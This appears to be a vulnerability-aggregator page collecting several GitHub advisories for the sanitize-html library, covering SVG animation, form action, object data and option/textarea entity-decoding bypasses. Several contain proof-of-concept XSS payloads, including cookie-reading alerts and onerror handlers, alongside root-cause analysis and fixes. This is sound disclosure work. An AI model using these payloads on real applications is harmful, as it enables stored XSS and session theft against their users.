Where
-Infinity
0
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary When SVG animation is allowed, attributeName="href" makes values a list of URL destinations. sanitize-html accepts a list that starts with a safe fragment even when values is explicitly scheme-checked, allowing a later javascript: destination to execute when the sanitized link is activated.

Details index.js:371-383 validates each attribute as one flat URL. It does not recognize that attributeName="href" gives the sibling values attribute SMIL URI-list semantics. For values="#safe;javascript:...", the leading fragment passes the flat check and the complete list is retained.

PoC This was reproduced with sanitize-html@2.17.6 and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to values; it does not allow javascript:. Save this as poc.js:

js const sanitize = require('sanitize-html');

const input = <svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>; const output = sanitize(input, { allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']), allowedAttributes: { ...sanitize.defaults.allowedAttributes, animate: ['attributename', 'values', 'dur', 'fill'], text: ['y'] }, allowedSchemesAppliedToAttributes: sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values']) }); console.log(output);

Install and run it, then open poc.html and click Click me:

sh npm install sanitize-html@2.17.6 node poc.js > poc.html

The output retains the javascript: entry, and clicking the sanitized SVG displays XSS. With input changed to <a href="javascript:alert(1)">control</a>, the same configuration removes href.

Impact In an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy.

Suggested fix Reject attributeName values selecting href or xlink:href on SVG animate and set, while retaining safe targets such as fill. Add values, from, and to regression cases.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

sanitize-html uses allowedSchemesAppliedToAttributes (default: ['href', 'src', 'cite']) to gate the naughtyHref() function that blocks dangerous URI schemes like javascript: and vbscript:. The HTML specification defines 10+ attributes that accept URIs (action, formaction, data, poster, background, ping, xlink:href, dynsrc, lowsrc), but none of these are included in the default gate list. When a developer allows any of these attributes in their configuration, javascript: URIs pass through completely unmodified, enabling XSS.

The library has zero awareness of these URI-bearing attributes — none appear anywhere in the 854-line source file (verified by grep). No warning mechanism exists, and the README provides no security guidance about expanding allowedSchemesAppliedToAttributes when allowing form or media attributes.

Severity

Exploitation requires non-default configuration: the developer must explicitly allow a non-default tag (e.g., form) AND a non-default attribute (e.g., action). Default configuration is NOT vulnerable. However, this is a common configuration pattern for CMS platforms, form builders, and rich content editors.

Affected Versions

All versions of sanitize-html from v1.18.0 (which introduced allowedSchemesAppliedToAttributes) through at least v2.17.2. The default list has been ['href', 'src', 'cite'] since introduction and has never been expanded.

Root Cause

File: index.js:329 (sanitize-html 2.10.0, confirmed same in 2.17.x)

javascript // Line 329 — The gate that controls scheme validation if (options.allowedSchemesAppliedToAttributes.indexOf(a) >= 0) { if (naughtyHref(name, value)) { delete frame.attribs[a]; return; } }

Default list at line 829: javascript allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],

The naughtyHref() function (lines 627-667) correctly blocks javascript:, vbscript:, and other dangerous schemes. However, it has exactly 2 call sites in the entire codebase (lines 330 and 395), both inside the indexOf gate. There is no ungated path.

When attribute name is action, formaction, data, poster, background, etc.: - indexOf('action') returns -1 - The if block is skipped entirely - naughtyHref() is never called - javascript:alert(1) passes through unmodified

The escapeHtml() function at line 464 provides no defense — it only encodes & < > " characters, which are not present in javascript:alert(1).

Data Flow: Attacker input: <form action="javascript:alert(document.cookie)"> 1. htmlparser2 parses → tag='form', attribs={action:'javascript:alert(document.cookie)'} 2. index.js:298 → allowedAttributes check: 'action' in developer config → PASS 3. index.js:329 → ['href','src','cite'].indexOf('action') → -1 → SKIP naughtyHref() 4. index.js:464 → escapeHtml('javascript:alert(document.cookie)') → unchanged 5. OUTPUT: <form action="javascript:alert(document.cookie)">

Steps to Reproduce

javascript const sanitize = require('sanitize-html');

// ===== VECTOR 1: form action (100% reliable, all modern browsers) ===== const v1 = sanitize( '<form action="javascript:alert(document.cookie)"><button>Submit</button></form>', { allowedTags: ['form', 'button'], allowedAttributes: { form: ['action'] } } ); console.log('V1 (action):', v1); // OUTPUT: <form action="javascript:alert(document.cookie)"><button>Submit</button></form> // XSS triggers when user submits the form

// ===== VECTOR 2: button formaction (100% reliable) ===== const v2 = sanitize( '<button formaction="javascript:alert(1)">Click</button>', { allowedTags: ['button'], allowedAttributes: { button: ['formaction'] } } ); console.log('V2 (formaction):', v2); // OUTPUT: <button formaction="javascript:alert(1)">Click</button>

// ===== VECTOR 3: object data ===== const v3 = sanitize( '<object data="javascript:alert(1)"></object>', { allowedTags: ['object'], allowedAttributes: { object: ['data'] } } ); console.log('V3 (data):', v3); // OUTPUT: <object data="javascript:alert(1)"></object>

// ===== CONTROL: href IS scheme-checked (expected behavior) ===== const ctrl = sanitize( '<a href="javascript:alert(1)">click</a>', { allowedTags: ['a'], allowedAttributes: { a: ['href'] } } ); console.log('Control (href):', ctrl); // OUTPUT: <a>click</a> ← href correctly stripped by naughtyHref()

Observed behavior: javascript: preserved on action/formaction/data but correctly stripped on href.

Expected behavior: javascript: should be stripped on ALL URI-bearing attributes, or at minimum, the library should warn developers when they allow URI-bearing attributes not covered by scheme validation.

Impact

An attacker can achieve XSS in applications that use sanitize-html with non-default configurations allowing URI-bearing attributes:

- <form action="javascript:..."> — XSS on form submission (all modern browsers) - <button formaction="javascript:..."> — per-button XSS override (all modern browsers) - <object data="javascript:..."> — object load XSS (Chrome, Firefox) - <video poster="javascript:..."> — limited browser support but spec-valid

Common vulnerable configurations: - CMS platforms allowing form elements for user-generated content - Form builder applications - Rich text editors with extended tag allowlists - Email template editors allowing media/embed tags

Mitigating factors: - Default configuration is NOT vulnerable - Requires double opt-in: non-default tag + non-default attribute - CSP form-action directive mitigates form-based vectors - Developers CAN manually add attributes to allowedSchemesAppliedToAttributes

Remediation

Option 1 (Recommended): Expand the default allowedSchemesAppliedToAttributes list:

javascript // index.js line 829, change from: allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],

// to: allowedSchemesAppliedToAttributes: [ 'href', 'src', 'cite', 'action', 'formaction', 'data', 'poster', 'background', 'ping', 'xlink:href', 'dynsrc', 'lowsrc' ],

Option 2: Apply naughtyHref() to ALL attributes by default (invert the gate logic).

Option 3: Add a runtime warning when developers allow URI-bearing attributes not in allowedSchemesAppliedToAttributes (analogous to vulnerableTags warning for script/style at lines 124-129).

Reporter

Kevin Lee (Changseon Lee) OPCIA Corp. / PeanutAI Inc. Seoul, South Korea GitHub: crattack

1 / 2
Source: GitHub
First published (updated )
Severity
4

Versions of the package sanitize-html before 2.12.1 are vulnerable to Information Exposure when used on the backend and with the style attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server.

https://gist.github.com/Slonser/8b4d061abe6ee1b2e10c7242987674cf https://github.com/apostrophecms/apostrophe/discussions/4436 https://github.com/apostrophecms/sanitize-html/commit/c5dbdf77fe8b836d3bf4554ea39edb45281ec0b4 https://github.com/apostrophecms/sanitize-html/pull/650 https://security.snyk.io/vuln/SNYK-JS-SANITIZEHTML-6256334

First published (updated )
Severity
7
XSS

ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. Under the default configuration, versions of sanitize-html prior to 2.17.4 can turn attacker-controlled content inside a disallowed xmp element into live HTML or JavaScript. This is a sanitizer bypass in the default disallowedTagsMode: 'discard' path and can lead to stored XSS in applications that render sanitized output back to users. Version 2.17.4 patches the issue.

First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

Commit 49d0bb7 introduced a regression in sanitize-html that bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes option or textarea in its allowedTags configuration.

Details

The vulnerable code is at packages/sanitize-html/index.js:569-573:

javascript } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) { // htmlparser2 does not decode entities inside raw text elements like // textarea and option. The text is already properly encoded, so pass // it through without additional escaping to avoid double-encoding. result += text; }

The comment is factually incorrect. htmlparser2 10.x does decode HTML entities inside both <textarea> and <option> elements before passing text to the ontext callback. This can be verified:

javascript const htmlparser2 = require('htmlparser2'); const parser = new htmlparser2.Parser({ ontext(text) { console.log(JSON.stringify(text)); } }); parser.write('<option>&lt;script&gt;</option>'); // Outputs: "<", "script", ">" — entities are decoded

Because the code assumes the text is "already properly encoded" and skips escapeHtml(), the decoded entities (<, >) are written directly to the output as literal HTML characters. This completely bypasses the allowedTags filter — any tag can be injected inside an allowed option or textarea element using entity encoding.

The execution flow: 1. Attacker submits: <option>&lt;img src=x onerror=alert(1)&gt;</option> 2. htmlparser2 parses and decodes entities → ontext receives <img src=x onerror=alert(1)> 3. Code at line 569 checks: tag is option, which is in nonTextTagsArray → true 4. Line 573: result += text — writes decoded text directly without escaping 5. Output: <option><img src=x onerror=alert(1)></option> — <img> tag injected despite not being in allowedTags

The script and style tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to textarea and option, plus any custom elements added to nonTextTags by the user.

Prior to commit 49d0bb7, text in these elements fell through to the escapeHtml branch (line 574-580), which correctly re-encoded the decoded entities.

PoC

Prerequisites: Application using sanitize-html 2.17.2 with option or textarea in allowedTags.

Step 1: Basic tag injection via option javascript const sanitize = require('sanitize-html'); const output = sanitize( '<option>&lt;script&gt;alert(1)&lt;/script&gt;</option>', { allowedTags: ['option'] } ); console.log(output); // Expected (safe): <option>&lt;script&gt;alert(1)&lt;/script&gt;</option> // Actual (vulnerable): <option><script>alert(1)</script></option>

Step 2: Element breakout with XSS event handler javascript const output2 = sanitize( '<option>&lt;/option&gt;&lt;img src=x onerror=alert(document.cookie)&gt;</option>', { allowedTags: ['option'] } ); console.log(output2); // Output: <option></option><img src=x onerror=alert(document.cookie)></option> // The <img> tag escapes the option context and executes the onerror handler

Step 3: Textarea breakout (also vulnerable) javascript const output3 = sanitize( '<textarea>&lt;/textarea&gt;&lt;img src=x onerror=alert(1)&gt;</textarea>', { allowedTags: ['textarea'] } ); console.log(output3); // Output: <textarea></textarea><img src=x onerror=alert(1)></textarea>

Step 4: Full select/option context breakout javascript const output4 = sanitize( '<select><option>&lt;/option&gt;&lt;/select&gt;&lt;img src=x onerror=alert(1)&gt;</option></select>', { allowedTags: ['select', 'option'] } ); console.log(output4); // Output: <select><option></option></select><img src=x onerror=alert(1)></option></select> // Breaks out of both option and select elements

All outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x.

Impact

- Complete allowedTags bypass: Any HTML tag can be injected through an allowed option or textarea element using entity encoding, defeating the core security guarantee of sanitize-html. - Stored XSS: Applications that sanitize user-submitted HTML and allow option or textarea tags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting. - Session hijacking: Attackers can inject event handlers (onerror, onload, etc.) to steal session cookies or authentication tokens. - Scope: Affects non-default configurations only — the default allowedTags does not include option or textarea. However, these tags are commonly allowed in applications that handle form-related HTML content.

Recommended Fix

Remove the vulnerable code block at lines 569-573 entirely. The escapeHtml branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with escapeHtml produces correct HTML output (entities are round-tripped, not double-encoded).

diff --- a/packages/sanitize-html/index.js +++ b/packages/sanitize-html/index.js @@ -566,11 +566,6 @@ function sanitizeHtml(html, options, recursing) { // your concern, don't allow them. The same is essentially true for style tags // which have their own collection of XSS vectors. result += text; - } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) { - // htmlparser2 does not decode entities inside raw text elements like - // textarea and option. The text is already properly encoded, so pass - // it through without additional escaping to avoid double-encoding. - result += text; } else if (!addedText) { const escaped = escapeHtml(text, false); if (options.textFilter) {

This fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through escapeHtml(), ensuring decoded entities are properly re-encoded before output.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203